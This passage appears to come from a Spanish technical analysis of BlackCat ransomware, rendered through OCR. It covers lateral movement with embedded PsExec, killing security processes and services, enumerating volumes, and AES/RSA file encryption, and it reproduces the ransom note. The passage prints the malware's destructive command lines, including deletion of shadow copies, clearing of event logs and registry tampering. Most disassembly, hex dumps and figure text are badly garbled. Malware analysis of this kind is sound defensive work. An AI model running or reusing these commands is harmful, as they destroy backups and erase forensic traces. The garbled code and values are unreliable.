Srnnmnnnan | mea oot annnnnnn
1 | [m 7 carss.exe Version:  8.1,7601,17514
< 18 wirlogon exe Build Time:  Sat Nov 20 10:00:27 2010
= explorer.exe
call from 76305884 A Path:
.Text:763D3ES3 kernel3z.d11:$13E83 #13E683 <ReadFiles = 4 x32dbg exe:
e v1exe Ci\Windows\SysWOWe4\omd. exe
iy iy 44y | o | 4y | - .
644 Dump 1 | Wpump2 | Woump3 | Wipumps | Wupumps | & =8 cmd exe Command line:
Address | UNICODE — notepad++.exe I'C:\Windows\system?nz\qﬂd‘exe' Jc"arp -a" I
007A13ED| MC: \w1ndw5\5y5tm32\(md exe" Jc "arp - ida exe
007A1460 | .. u.u e ee i ianinans Z.VAX. ... ViWeaa Current directory:
58 2.206145 18.08.0.15 10.9.08.20 NBSS 126 Session request, to DESKTCHENEEEEE<2e> from I 00>
51 2.206383 16.0.0.20 10.0.8.15 NBSS 68 Positive session response
52 2.258888 18.0.0.15 10.0.0.20 SMB2 162 Negotiate Protocol Request
53 2.251819 16.0.0.20 10.0.8.15 SMB2. 566 Negotiate Protocol Response
54 2.292073 10.0.0.15 10.6.9.20 SMB2 220 Session Setup Request, NTLMSSP_NEGOTIATE
55 2.292971 18.0.0.28 10.0.0.15 SMB2 401 Session Setup Response, Error: STATUS_MORE_PROCESSING _REQUIRED, NTLMSSP_CHALLENGE
56 2.329841 16.0.0.15 10.0.0.20 SMB2. 689 Session Setup Request, NTLMSSP_AUTH, User: HENSSSNNNNeo
57 2.331128 10.0.0.20 10.6.8.15 SMB2 159 Session Setup Response
58 2.416849 18.0.08.15 10.9.8.20 SMB2 174 Tree Connect Request Tree: \\DESKTCHEENNEN\1PCS
59 2.417424 16.0.0.20 10.0.8.15 SMB2. 138 Tree Connect Response
291 NetApiBufferfree(vios); cPU ‘ | bLog | [} Notes | @ Breakpoints. I 9 Memory Map | [ call Stack I =3 SEH | L] Seript
i r server l=
292 if ( ret netserver != 234 ) T 00ADEEIE T1 push =cx
293 break; ! GA 65 push &5
24 retnetserver = |NetServerinum( Eii — 23 g?sﬂzoo 2:'?'? 2JMP &NetserverEnum
205 ¥ | Breakpoint Not set [*E&1 e
296 i | 004DEE4E test eax,eax
tr B 004D EE4D 393424 FS000000 mov dword ptr ss:[fesp+Fs],eax
297 y&bufpt i
’ | 004D6ES4| 08 je blackcat_vi.4D6ESE
298 @xFFFFFFFF, i 004DGESE 31FE EADDDDDD cmp esi,EA
299 (LPDWORD)&entriesread + 1, ' D04DEESC| ~ 75 jne blackcat_wi.4DEEOT
0 ries H 004D6ESE Sha4e4 F4000000 mov eax,dword ptr ss:[esp+F4]
WO tot t = i J
300 (LPDHORD)&totalentries, | 004DEESS 8D4C24 60 lea ecx,dword ptr ss:[esp+60]
381 @xFFFFFFFF, i 004DEEED 85C0 Test_eax,eax
382 8, | OD4DGEGB| ~ 74 9E je blackcat_vi.4D6E0B
o s . i 004D6EED 2B4C24 80 mov ecx,dword ptr ss:[esp+60]
363 (LPDWORD)8resume_handle); H DD4DEETL C1ED 03 shl eax,z
304 al = ret_netserver — 8; H 004D6ET4 300440 Tea eax,dword ptr ds:[eax+eax*z]

Figura 15. Propagacion ARP/NetBIOS

La version actual dispone de una versiéon comprimida de PsExec [*2! para poder
moverse lateralmente a otros equipos de la red:
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DA View-A IDA View-B

. text:08477825 lea edi, [ebp+lpHen] .rdata:@@610013 db eF7h ; -
-text:08477828B mov ecx, edi .rdata:@ec10014 db Bagh ; |
. text:88477820 call sub_5DC518@ .rdata:@es10015 db @Dsh ; O
.text:88477832 mov ecx, edi .rdata:@ec1DD16 db 5
.text:08477834 mov edx, offset aPsexecExepsexe ; [ psexec.exepsexsc args-, detach= |.rdata:@@610017 PSEXEC db @EDh ; 1
.text:88477839 push @Ah ; Size .rdata:@e61DD18 db @8Dh ; ¥
. text:0847783B call sub_5DDBCE@ .rdata:@es10019 db a
.text:88477848 add esp, 4 .rdata:@@61DD1A db 6@h ;
. text:08477843 mov eax, ds:dword 6EE@68 .rdata:@e610018 db 54h ; T
.text: 88477848 test eax, eax .rdata:@@61D01C db 4sh ; E
. text:0847784A jnz loc_4778C7 .rdata:@a610010 db @F6h ; &
.text:0847785@ mov ecx, 1 .rdata:@@61DD1E db @esh ; &
. text:88477855 xor eax, eax .rdata:@e610D1F db @DDh ; ¥
.text:08477857 lock cmpxchg ds:dword 6EE@SS, ecx .rdata:68610020 db 9oh

. text:0847785F jnz short loc_4778C7 .rdata:@ec10D21 db 74h ; t
.text:00477861 lea ecx, [ebp+var 34] rdata:88610D22 db 42h ;B
-text:88477867 mov edx, offset PSEXEC .rdata:@e61D023 db 3

. text:0847786C push  GocaAn rdata:88610024 db 8lh
-text:88477871 call sub_aA2c88 .rdata:@e6c1D0D25 db  @ch
.text:08477876 add esp, 4 .rdata:@es10026 db 12h

- text:08477879 mov eax, dword ptr ds:lpBuffer .rdata:@ec1D027 db  2@h

. text:0847787E test  eax, eax .rdata:ees10028 db 280 *
. text:@8477880 jz short loc_477899 .rdata:ea610029 db anh 5 0
.text:0e477882 cmp dword ptr ds:lpBuffer+a, 8 .rdata: 80610024 db  14h

. text:08477889 iz short loc_477599 .rdata:@0610028 db seh ;¢
.text:08477888 push  eax 5 1prem .rdata:ee61002C db 9h ;7
. text:9847788C push ] ; dwFlags .rdata;: 80610020 db &csh ; A
. text:0847788E push  ds:hheap 5 hHeap .rdata:@a61002E db 4eh ; @
.text:08477894 call HeapFree .rdata:@@61DD2F db 58h ; X
. text:@8477899 .rdata:@es10032 db 12k
.text:08477899 loc_477899: ; CODE XREF: sub_476858+103017 .rdata:@@610031 db 12h

. text:08477899 ; sub_476856+18391] .rdata:@ec1DD32 db  2eh
.text:08477899 mov eax, [ebpt5ize] .rdata:@@610033 db 1

. text :8847789C movsd  xmm@, qword ptr [ebptvar_84] .rdata:@e610034 db 1zh
.text:084778A4 mov ecx, 2 rdata:@8861DD35 db 2@h ; @
. text:084778A9 mov ds :nNumber0fBytesToWrite, eax .rdata:@ec1DD36 db a

. text:084778AE movsd  ds:lpBuffer, xmm@ rdata:88610D37 db 6
-text:884778B6 xchg ecx, ds:dword_6EEGES

Figura 16. PsExec embebido

El cddigo danino se asegurara de finalizar un conjunto de servicios y procesos que
puedan interferir con el proceso de infecciéon: herramientas de
seguridad/monitorizacion, procesos/servicios que puedan tener abiertos ficheros, etc.
Para recorrer los binarios en ejecucion se apoyara en las APl CreateToolhelp32Snapshot
y Process32NextW finalizando aquellos (via TerminateProcess) que coincidan con los
definidos en el fichero de configuracién.

mov_edi, edi Process3zNextw n
push ebp 295 if (w32 )
mov ebp,esp 296
sub esp,C 297 v34 = OpenProcess(lu, @, *((_DWORD *)v78 + 2));
8E2 push es1 P _
7G63IFE3E3 push edi 298 v3iB = vB2;
763FBEE4 8B7D 0OC mov edi,dword ptr ss:[ef 299 if ( v34 )
BBE7 xor esi,esi 200
cmp_edi, esi
-~ je kernel3z.7e3FassA 301 hProcess = v34;
cmp dword ptr ds:[edi], 382 if ( (unsigned int)dword 6EE1CO > 2 )
jne kernel32.763F896A -
f push 4 383
i push esi 384 V58 = (int *)&v63;
H L — 305 V59 = sub_42B718;
H push eax P ° 386 LODWORD(Src) = 3;
E lea eax,dword ptr ss:ffe| 387 HIDWORD(Src) = "leocker::core::os::windows::processkill=";
i g:gg o 308 vad = 345
i push esi 269 va5 = Roff_6107C4;
H gsghe::’,(dwurd ptr ss:[le| 310 vag = 1;
| push FEFEFFFF 311 Va7 = 8;
H push dword prr ss:[flebp:| [ebp+s]:a”encsvc” 312 vi6 = off_602020;
i i e 313 if ( dword_GEE@78 != 2 )
e 314 w36 = &off_682074;
edi= C — .
dword ptr ss:[ebp+C1=[0S06FFS8]=20 ' * 315 v37 = off_60201C;
316 if ( dword 6EER78 != 2 )
-text:763F88E4 kernel3z.d11:§388E4 #3884 317 w37 = "/cargo/registry/src/github.com-1ecc6239db9ecs23/utfx-6.1.9|
B B pL E
318 vag = &58;
W44 bump 1 ‘ Woump2 | Woump3 | @Woump4 | EDump s | @ watch 1 | [x=| Locals Ts ,j@ - lf
Address | Hex ASCIT 328 V50 = 9;
0061493022 73 79 GE|63 74 69 GD|65 22 2C 22|6E GF 74 65| syncti Son e
0061A940| 70 61 64 22|2C 22 6F 63|6F 6D 6D 22 5 v - -
0061435065 6E 6F 74(65 22 2C 22|gD 73 70 75 enote”, "mspub’ 322 v51 = "locker::core::os: iwindows::processkill=";
0061A960 |74 68 75 6E(64 65 72 62|69 72 64 22 Ehunderbird”, 323 V53 = 8;
0061A970|6E 74 73 76|63 22 2C 22|73 71 &C 22 N - ‘_
0061498063 65 6C 22|2C 22 70 GF|77 65 72 70 324 vss = 38;
0061A990|22 &F 75 74|68C BF &F 6B|22 2C 22 77 325 v54 = "src/corefos/windows/process.rs”;
0061A9A0( 61 64 22 2C(22 64 62 65|6E 67 35 30 326 V56 = 1;
0061A9B0| 73 71 6C 70|6C 75 73 73|76 63 22 2C sqiplussvc”, "sqb :
D061ASCO|63 6F 72 65|73 65 72 76(69 63 &5 22|2C 22 6F 72|coreservice”,"or 327 V57 = 68;
0061A3D0 61 63 6C 65(22 2C 22 6F|63 61 75 74 328 ((void (_cdecl *)(const char *, _ int64 *))v36[S])(v37, &Src);
0061A9EQ| 73 22 2C 22|64 62 73 6E|6D 70 22 2C 320 -
0061A9F0(63 63 65 73(73 22 2C 22|74 62 69 72 thirdcon -
0061AAO0 |66 63 67 22|2C 22 6F 63(73 73 &4 22|2C 22 6D 79|fig","ocssd",™ 338 TerminateProcess(hProcess, 9u)j|
0061AA10| 64 65 73 &B|74 &F 70 73|65 72 76 69|63 65 22 2C|deskropservice”, 331 TlozeHandle(hP o
0061AA20(22 76 69 73(69 6F 22 2C|22 73 71 6C|2A 22 5D 2C|“"visio®,"sql*"], . V30 = vEls
0D061AA30(22 65 78 63|6C 75 64 &5(5F 64 69 72|65 &3 74 6F|"exclud cTo v = vees
0061444072 79 5F 6E[61 6D &5 333 H

Figura 17. Finalizacion de procesos

Para finalizar los servicios, establece una conexién con el Service Control Manager
via “OpenSCManagerW” 'y posteriormente enumera los mismos con
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“EnumServicesStatusexW”. Aquellos existentes en el fichero de configuracidon seran
finalizados mediante una notificacién SERVICE_CONTROL_STOP via “ControlService”.

e[ 00sFzECE 57 push edi viceStatus int = @:
M B Fr. EEh s 498 cestatus.dwCheckPoint = 8;
o[ 0osrzece €A 00 push 0 499 .dwServiceSpecificExitCode = 8;
o | 00452800 €A 01 push 1 500 Status.dwhaitHint = @;
H B R =8 g:‘éa & 561 D *)8ServiceStatus.dwServiceType = BLL;
e[ 00sF2EDs 50 push eax 502| if [ IControlService(*(SC_HANDLE *)(v5 + 12), SERVICE_CONTROL_STOP, &ServiceStatus)])
o[ oosFzen7 ES 14041000 | €&l <IMP.&EnumServicesStatusExws se3| {
[ETP et 00 4F2EDC BB4C24 4C mov ecx, dwor r ss:[esp+4C] . . .
[ 004F28E0 8B15 D0OSCEDO MOV edx,dword ptr ds: [ED9CDO] 564, if ( (unsigned int)dword_6EELCE >= 3 )
o[ 00srzaEs 31C0 xor eax,eax 505 {
o[ 0osr2ees 838424 BCOOO mov dword ptr ss:[esp+acl,esi 5 vies = .
®| oo4FzEEF B830C24 mov dword ptr ss:[espll,ecx o8 V16 G“LE“.E"D"O‘
o[ 00srzaF2 85C9 Test ecx,ecx e 587 Euffer.duServiceType ;
o[ 0osrzeras 85 00000000 | mov ecx, & - o e/| ® se8 Buffer.dwCurrentState = (DWORD)sub_41EB18;
o] 004F2zBF9 895424 30 mov dword ptr ss:[esp+30], edx e —— : . N . "
Al Cr74424 34 0gmov dword per ao:fesp 2410 589 v55 /:ErgD/r‘Engtr‘yf’sr‘c/'glthEh.(um.1E((6299db9&(823/utf;{ @.1.8/src/ucstr.rs";
*[ 0osr2cos C74424 38 00 mov dword ptr ss:fleso-3s8.0 516 Buffer.duContrelsAccepted = (DWORD)&u1oo;
4 ] 511 Buffer.dwWin32ExitCode = (DWORD)sub_4F3B70;
Scx=754E8501 "A(" 512 dword_6EEG78;
dword ptr ss:[esp+4C]=[050BFE3C]=13BA 513 ystemTimeAsFileTime.dwLowDateTime = 3;

Figura 18. Finalizacion de servicios

BlackCat recorrera todos los volimenes existentes e intentard montar unidades
actualmente desmontados utilizando las APIs:

GetDriveTypeW, GetVolumePathNamesForVolumeNameW, SetVolumeMountPointW

Estas acciones permitirdn crear una lista con los dispositivos que se recorreran
posteriormente para proceder con el cifrado de ficheros.

.text:B@479585 loc 479585: ; CODE XREF: sub_4787A@+Deat]
. text:Be479585 mov edi, ds:lpMem
. text:B@479588 mov [esp+72h], edi
. text:Be47958F mov dword ptr [esp+78h], @
. text:B8479597 mov dword ptr [esp+7ch], @
. text:BB47959F call GetlogicalDrives |
. text:BB4795A4 mov [esp+ech], eax
. text:BB4795A8 mov al, 41h ; 'A’
. text:BB47ISAA xor edx, edx
. text:Be4795AC xor esi, esi
. text:BB4795AE mov ah, 41h ; 'A’
.text:BB479560 Jmp short loc_4795FB
85C0 Test eax,eax A
~ OF84 DD2B00Q je b'lgcknat,vl.ﬂBAFl
BaC3 mov ebx
€8 0A020000 | push 20k EAX  DOB4AD7O
so push eax EBX  00B08188
ES C7731800 | call <IMP.&FindFirstvolumew:! D ECX 00000000
83F8 FF cmp eax,FFFFFFFF ERx 00000000
894424 18 mov dword ptr ss:fesp+1s],eax EEP 04E4FF40
~ OFB84 4105000 je blackcat_vi.47346F ESP  04E4F2E0
BB3D 5433600 mov edi,dword ptr ds:[eD3354] ESI D4E4FGAS
B95C24 0OC mov dword ptr ss:fesp+CJ,ebx EDI 0000005A i
~ EB 29 imp blackeat wi.a78F63
- - T T
. text:0047881C mov dword ptr [esp+lssh], 3
. text:080478827 mov dword ptr [esp+16Ch], offset aEncryptAppWind ; “"encrypt_app::windowsstrict_include_path”...
. text:09478332 mov dword ptr [esp+178h], 14h
.text:0047883D mov dword ptr [esp+174h], offset off 619A28 ; "[REiT RN Ia e e
. text:00478848 mov dword ptr [esp+178h], 1
_text:080478853 mov dword ptr [esp+17Ch], @

Figura 19. Identificacion de unidades / volumenes

El conjunto de acciones previamente descrito generara un arbol de procesos
similar al mostrado en la siguiente imagen (el cual podra variar en funcién de los

permisos y los argumentos proporcionados por la linea de comandos).

B R ackcat vi e (2752)
= fgomd exe (2644)
5 WMIC exe (2842)
(= i omd.zxe (1700)

c\blackeat 1 v blackeat_v1 exe —accesstoken 12345
Windows Comma... C:\Windows\Sys Microsoft Comoret... "C:\Windows \system 32\cmd exe” /c "wic csproduct get UUID”

WMI Commandin... C\Windows\Sys. Microsoft Comorat... wmic. csproduct get UUID

[Windows Comma... C:\Windows\Sys. Microsoft Comerat... "C:\Windows \system 32\cmd.xe” /¢ “Fouti behavior set SyminkEvaiuation R2L:1"

it exe (1056) fsutl exe: C\Windows\Sys. Microsoft Comoret... fsutl behavior set SyminkEvaluation R2L:1
= §cmd exe (1436) Windows Comma... C\Windows\Sys. Microsoft Comort... "C:\Windows \system 32\cmd exce” /e "feutil behavior set SymlinkEvaluation R2R:1"
iifuti exe (2832) ot exe C\Windows\Sys. Microsoft Comoret... fsutl behavior set SymiinkEvaluation R2R: 1

= fgcmd.exe (1112)
' vesadmin axe (2036)

[Windows Comma... C\Windows\syst Microsoft Comort... "C:\Windows \system 32\cmd exe” /c "vssadrin exe delete shadows /al /quiet”
(Command Line Int... C\Windows\syst Microsoft Comoret... vssadmin exe delete shadows /l /quiet

= g omd exe (2968) Windows Comma... C:\Windows\Sys. Microsoft Coorat... "C:\Windows'\system32\cmd.exe" /c "reg add HKEY_LOCAL_MACHINE\SYS TEM\GurentCortrolSef\Services\LanmanServer \Parameters /v MaxMpxCt /d 65535 4 REG_DWORD A"
i ireg ee (2348) Registy Console ... C:\Windows\Sys. Microsoft Corporat... reg add HKEY_LOCAL_MACHINE\SYS TEM\CurertControlSet'\Services\LanmanServer\ Parameters /v MaxMpxCt /d 65535 A REG_DWORD A
5 g omd.exe (1300} Windows Comma... C:\Windows\Sys. Microsoft Comporat. . "C:\Windows\system32\cmd excs” /e "arp "
HIARP EXE (2444) I TCP/IP A Com... C:\Windows\Sys. Microsoft Comorat... ap
= ficmd eve (1536) Windows Comma... C:\Windows\syst Microsoft Corporat... "C:\Windows'system32\cmd.ex" /c "cmd.exe /c for /F \'tokens="" %1 n (weututl exe ef) DO wevtutl exe ol \'%1\""
iomd zxe (1524) Windaws Comma... C:\Windows\syst Microsch Comarat... emd exe /¢ for /F \tokens="\" %11 n {weviuti axe ef) DO wevut exe ¢l \' 41\
= i omd exe (2460) Windows Comma... C:\Windows\syst Microsoft Comorat... C:\Windows\system32\cmd exe /¢ git -no-pager corfig 4 25nul

Figura 20. Proceso de infeccion
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En cada directorio afectado por el cddigo daiino se generara un fichero de texto
(RECOVER-<EXTENSION>-FILES.txt) con las instrucciones para la recuperacion de los
ficheros cifrados y en donde se podrdn encontrar las direcciones “.onion” vinculadas con

el grupo criminal.

EEFTTEN | [ RECOVER-79549r-FILES bt E3

our system was ENCRYPTED and now they have have "795410r" extension.
er your files you need to follow instructions below.

r system was DOWNLORDED and it will be PUBLISHED if you refuse to cooperate.

al data, CVs, DL, SSN.

or local and remote =
, bills, budgets, anm
n

oc kernel32.d11: §13F0C #1370C <Createrilews

ourp2 | woump3 | woumps | Whoumps | @ weth1 | ieeitocas 17 Private preview is published here:

20 >> CAUTION

> DO NOT MODIFY FILES YOURSELE.
5 DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA.

¥OU MAY DAMAGE YOUR FILES, IT WILL RESULT IN PERMANENT DATA LOSS.

¥OUR DATA IS STRONGLY ENCRYPTED, YOU CAN NOT DECRYPT IT WITHOUT CIBHER REY.

132220973 k8%2FOCY PmvlXoNes
o

571

Figura 21. Fichero de recuperacion

El cédigo dafino recorre el sistema de archivos mediante las API FindFirstFileW y
FindNextFileW excluyendo los directorios/ficheros y extensiones definidos en su fichero
de configuracion (por ejemplo: "desktop.ini", "autorun.inf', "ntldr", "bootsect.bak",
"thumbs.db", "boot.ini", etc.). Durante el cifrado de ficheros, generard archivos
intermedios bajo la sintaxis checkpoint-<nombre de archivo cifrado>". La extension del
mismo vendra definida en el propio fichero de configuracién (“7954i9r” para la muestra

Blceu | [Giog | Clinetes | @ preakponts | B8 memoryMap | () cal stack
®|[005D63ZA BE7D EO mov edi,dword ptr ss:[[ebp-z0j @@v‘ .. » Computer » Local Disk (C:) » Docs
®| 005D632D 57 push edi
- EB 3DA00200 | call <IMP.&CreateFilews
EE—>e 53F8_FF cmp_eax,FEFEFEFE Organize + | ] Open  Mew folder
----- L] v 74 07 je h}ackga(,vlasn?st ;
i . BI94E D4 mov dword ptr ds:[esi+4],eax .
[ 100 Xor eax,cax oA Mame Date modified Type
. ~ EB 14 jmp blackcat_vi.5D&353
-=r@ EB E439E0200 | €all <IMP.&GetlLastError> - | Iy 5
= EBYEoe O P Desktop | RECOVER-7954i9r-FILES.tt 04/12/2022 238 Text Document
. mmmemmmenn loen oo | |8 Downloads 7] facturad.docx 05/04/202119:04  Office Open XML ..
<OME - &€ reakpoint Not Set | %l RecentPlace [ factura3.doex 05/04/2021 19:04 Office Open XML ...
11 Utilities [E] facturs2.docx 05/04/202119:04  Office Open XML ...
.text:005D632E blackcat_vi. : $1D632E #1D572E
. —_——_., | factural.docx.7954 0 05/04/2021 1904 7954BR File
“ourp1 | ghoumpz | @houmps | dhoumps | doumes | B wathi | i Libraries | ] checkpoints-factural docx7954i9r 04/12/2022 2:39 795419R File
Address | UNICODE
OOABAEDB |+ 2ssnnsnsns 1.0 ...=a01-ms-win-core-datetime-11-1-0.d11. » ] Documents
00AB4F18 | c:\Docs\checkpoints-factural.docx.7954i9r ... ..., z .. .capi- 3 gﬂ Music
DDAB4FI8 —EDV'E:E?I’I?DIE—II—!—U.OI 1 . Tauwus 5_.A ' .=ap1—ms—w‘iq—sure—5y§:’ y

Figura 22. Generacion ficheros intermedios

El valor “Best” en la directiva “Default File Encryption Cipher” del fichero de
configuracion instruye al cédigo daiiino a emplear el conjunto de instrucciones AES-NI
128 introducido en la familia de procesadores Intel® Core™ 2010. En la siguiente imagen
se muestra la funcién que implementa dicha légica para cifrar el contenido de los
ficheros afectados:
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. 55 push ebp P =

o[ 004EBCIL B9ES mov ebp,esp Hide FFU
o[ 0042ac13 83E4 FO and esp,FEERFFFO

. B3EC 30 sub esp,3: EAX 0ZBAFB10

. 66:0F6F0D9 movdga ds:[ecx] EBX  02BAFZCO

. 10F6F02  |movdga : [edx] ECX  02BAFE30

. OFGFSA 20 movdga ds: [edx+20] EDX  02BAF3ED

. OF6F62 30 movdga xmm4,xmmword ptr ds: [edx+30] EBP  O2BAF4F4

. OF6FGA 40 movdga Xmms,xmmword ptr ds: [edx+40] m ESP  02BAF25C

. 0F6F72 50 movdga xmmé,xmmword ptr ds:[edx+50] EST 023E00AD

. OF6F7A 60 movdga xmm7 ,xmmword ptr ds:[edx+60] EDI  0zEAFEQ

. IOFEFC1 | PXOF XmmO,Xmmi

. ESEEEE g:g; """iv“"""i EIP  004EBC10 blackcat_vi.D0D4E8CL0
. IOFEFE9 | PXOr Xmm5 ,xmmli

. 10FEFFL  [pxor xmmé,xmmi ErLAcs 00000314

. 6:OFEFFS | pxor xmm7,xmmi 7T = ]
. OF7F0424 | movdga xmmiord ptr ss:[espll, xmm

. GiDrGr s 10 movdqa w0 xmhard pir Aot Fedo10]

. :0FEF1423 | movdaa xmm2.xmmword ptr ss:Eesoll = De'%“'t(smm‘u

Esp-v-ft] 02BAFEL0

ebp=02BAF4F4 Esp+(] 02BAFE30
esp+10] 00014000
esn+1ai ononnnon

.Text:004EBC10 blackcat_vi.exe:$ESBC10 #E8010 < 1
'004EB1AC |return to blackcat_wl.004E81AC from blackcat_vil.004E8C10

W4 Dump 1 | YWoump? | WlDump3 | Wi Dump 4 | W Dump 5 | @ watch 1 | =| Locals | P struct \ P Ee 0| (G2 BAER 10| = =
028E0020

|Address | Hex - 02BAFE30

028E0020 | 2E 44 BF FC E5S |7A AF D1 C2 00014000

028E0030 |63 4D 36 FB S5A|4F 76 BE 95 00000000

028E0040 |2E 1D 7D 5C 59|93 13 36 23 00000000

028£0050 |32 84 DC 70 33(81COCE 75 00000008

02BE0Q0G0 A3 C7 86 DC |AA & 13|6C 4E 5A 22 00000000 |

02BE0Q070 |73 68 3B EC 5A|02 16 DD &E 00000000 |

028E0080 |64 EE F1 17 OF |BA OB 02 BD 00000000

028BE0090 |FB 26 A4 ES 70|70 18 07 46 00000000

028E00AQ | 00 00 00 OO0 00|00 00 00 00 NIELESE 00000000

Figura 23. Instrucciones AES-NI (cifrado AES)

Los bloques de datos cifrados se irdn escribiendo al fichero correspondiente via
WriteFile. La clave AES sera posteriormente cifrada con la public key RSA 2048
(embebida en el fichero de configuracidn) e incorporada al final del fichero utilizando
cierto delimitador de 4 bytes antes y después de dicho bloque ("19 47 BC C3").

[tiog | [“Notes | # reaipoints | 8 MemoryMap | () calltack | Swsed | lof saipt | & symbois | < 5o SFEFS PhiEOC A5

mov edi,edi writeFile
5 - p Un Locations.sear
push e0p. ] "B Indexed rch-ms.1 795419

mov ebp, (W

mov_ecx, dwnr‘d ptr ssilebp+14l

Test ecx,ec

Jo kernelss. 7emza

and dword per ds:[ecx],0

mov eax,dword per ssifeoprall | [ g
mp eax, FEFFFEE4 |

- OF84 C20F020 je kerne132.763FF25F -

"""" m ] D

call from 7e44FCa:
TRextireinises Kernelsz.dll:siizez #1122 <writeriles

¥ Dump 1 ‘ $oDump2 | $uDump3 | E4Dump4 I Wb Dump 5.
Address [ Hex
02510020 E1 F& A3 55(D0 06 C6 OC|C1 DI Fz DD |85 C5 DE OE
02510030 6C 66 A7 24|5C 9A B6 15|EG 06 DA 62|0D 17 C6 77| 1f:
02510040 4D 55 EA D1 23 B5 CA 2C(25 CD 7 4B

02310050 30 85 F1 E3|DF DA BA &1|C1 BE DD 23|63 F1 B4 23|=.n:
02310060 53 42 BF 45|F3 E& 2F 10|51 B7 07 FG|18 FC 53 03| .
02510070/ 83 75 11 OC|D& F6 09 2B(B4 7E 5C 2C|AA A3 4B 2D|.{
02510080 AB 58 1F 0C |57 DC B4 AB|DD 6D F1 4F|3C ED E3 C2
02510090 BC F8 F7 C3 D1 FA 4C BS|42 F2 B3 37|70 41 EF CO
02510040 08 B 93 DG 12 15 24 EC|DD Al 3t EO|28 CD 46 25| .
02310080 65 C6 SE ES|7F 26 50 C8|7E 53 BC 60|55 1E DB 57

o3a5rcra

# Handles /

025100C0| 75 D7 E0 D4 58 5F 46 6E|CA F3 C1 27|3C CE 3E 56 Type num Access Name
02510000| 0% &4 BC 35|35 OA EA 7D |88 AG 25 E1|D4 6C AC OF | . (M55 &}. ¥abla. 27 804 ERROR_NOT_SUPPORTED
02510080 64 A7 12 CC|7D &7 DE 41|39 63 38 OF |OF A3 7E 72 dg T390A: :s L 24 1F0001
029100F0 FF 23 3D 2A|9A 1D 00 AG|1C A2 §3 7C |15 &F FE 4C vi- Hc 100001 \Device\Harddiskvolume2'\Users\Neo\AppData\Local\vector35\B1naryNinja\qr
02910100 €1 €2 FA 84|55 50 A3 DS (3D &2 2B 07|93 C8 ES EB & ac 12019F \Device\Harddiskvolume2\Users'\Neo\Sear ches\checkpoints-Indexed LDEa[IDI’\S SEar"th lns
02910110/ 32 £n 22 nel2c ns a3 &elnn nn nn onlan An nnoAn 1c 12019F \Device\Harddiskvelume2'\Users\Neo\Sear ches\Indexed Locations. .
02910120[00 00 00 00[00 00 00 06|00 00 00 00|00 0O 00 00 .. | ac 12019F \Bev1t:\Har‘ddIskvcﬂumal\user‘s\uen\AppDa[a\Rnam1ng\MIcr'nsnft\mndws\REtent\Au[mat
EENEEEE — SrikeEilen .. 00037380 49 1F DC CB 85 I.UE.5°0.%. .400r
55 ush eb : 2
BBEC 35\, ebp, e: D 00037390 1#D..° .E+REZA%O.
284D 14 mov eck.dward ptr ss:Hebp+14l TEERET 00037320
859 test ecx,ecx 00000144
~ 74 02 je kernelz2. 761291 0073E126 00037380
8321 00 and dword ptr ds: [ec: CHICUt 000373C0
> 8845 08 mov eax, dvord ptr ss: [Ebp+o]
mp eax,FFFFFFF4 ———————— 00037300 Saé-
~ §e kernalao. re3FFasE < Defzu\t(stdm\l} 000373E0 _N&A> . Arsuicde. .x
v i [espra] 000001A gpQ373FQ 18 95 2 C L eu¥l-HY.~)E.E
[esp+8] 0392F3D( - >
=i 000374001647 %C C: 5 TR e¥az. "
T0057410 3 & i.Aes¥a.}*dcz .|
Call from 7644FC43 fv

-Text:763D1282 kernel32.d11:511282 #11282 <WriteFiles 00037420 [Fee. Q% (BE\ .G} ilm

00037430 57U€01 . . MBubGNgZ
Weoump 1 | wyoump2 | uDumes | woumad | wDumes | @ wath 1 | o=l Locals [1]* Dans7acn g e
00037450 pio.%ae¥>a.nd &

Address ASCIT
0392F9D0 . Gk
0232F3E0 00057460
00037470

Bip({>p-To>=—d
[ifee' 265 Y0 AgEie|

0392FA10 00037480 - ¥.of .| 2 wlky
0392FA20 00037490 . TR~ ige’ V.8
0352FA30 00037440 a7, 1 X.pEx=s4> .0V
0392FAs ol 5 2
0392FASO 00037480 6n-i#gvpd. . yo!
0392FA6 LovoEex B 5 S| 000374C0 LECTL$ L omad|
0392FA70 50 93 76 00(24 95 76 0088 FC 7A 00| Hax.P.v.$.v.,iz. = PO

a5 An) 5 b 2 7400 RE>i2P=Ehot.
0392FA%0 20 20 01 00 c 5 5 & 000374E0 6 "seOLE] . GOusE.
0352FALD c

000374F0
30323931 00037500

03292FAB0| D ED 92 03 00 00 00 00
0. o 20 00 zg 00| |

Figura 24. Clave AES cifrada con RSA / Delimitador "19 47 BC C3"

Estas acciones se llevaran a cabo de forma recursiva en todos los directorios del
sistema (o los especificados por medio del pardmetro -p o —paths).
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‘ ‘ EsE  oozer
€51 00000
EDI 00000
2 Process Monitor - Sysintemals: www.sysinternals.com
File Edit Event Filter Tools Options Help
BHABE| T AG B &5 ([EEEZR
Time ... Process Name PID Operation Fath Result Detail
1941 Wiblackeal vlee 2752 BhlnteFie C\Tools\p \peap Ulan_Bator 79545 SUCCESS Offset: 191, Length: 256, Friorty: Nomnal
1941... Wiblackeat vlee 2752 ShiliteFie C\Tools\o peap Ulan_Bator. 79548 SUCCESS Offset: 447, Length: 4, Piiorty: Nomal
2752 ShWiieFile C\Tools\o \pcap Ulan_Bator. 79545 SUCCESS Offset: 451, Length: 4, Priorty: Nomnal
2752 B C\Tools\p \peap_t Lrumgi SUCCESS True, FleName: C:\Tools'p P
2752 B CreateFie C\Tools\p \peap i Urumgi 79545 SUCCESS Desited Access: Generic: Read,Wite, Disposiion: Ovenwiteff. Option
2752 ShWiteFile C\Tools\o \pcap_ Urumgi 79545 SUCCESS Offset: 0, Length: 4, Priorty: Nommal
2752 Bk WriteFile CA\Tools\p: \pcap_t Unumai 7954iSr SUCCESS Offset: 508, Length: 4, Priority: Normal
2752 Bk WrteFie C\Tools\p \peap_t Liumgi 79545 SUCCESS Chset: 512, Length: 256, Priorty: Nomal
2752 B\ WiiteFie C\Tools\p \peap i Urumgi 79545 SUCCESS Cffsst: 768, Lengih: &
2752 ShWiteFile C\Tools\o \pcap_ numai 73545 SUCCESS Offset: 772, Lengih: &
7752 Bh CA\Tools\p: \pcap_t SUCCESS True, FileName: C:\Tools'pr P
2752 Bk CreateFie C\Tools\p \peap_t 79545 SUCCESS Desired Access: Generic Read/Wrte, Dispostion: Overrtef, Option
2752 B\ WriteFie C\Tools\p \peap i Vientiane. 7954 SUCCESS Offs. 0. Length: 4, Prorty: Nomal
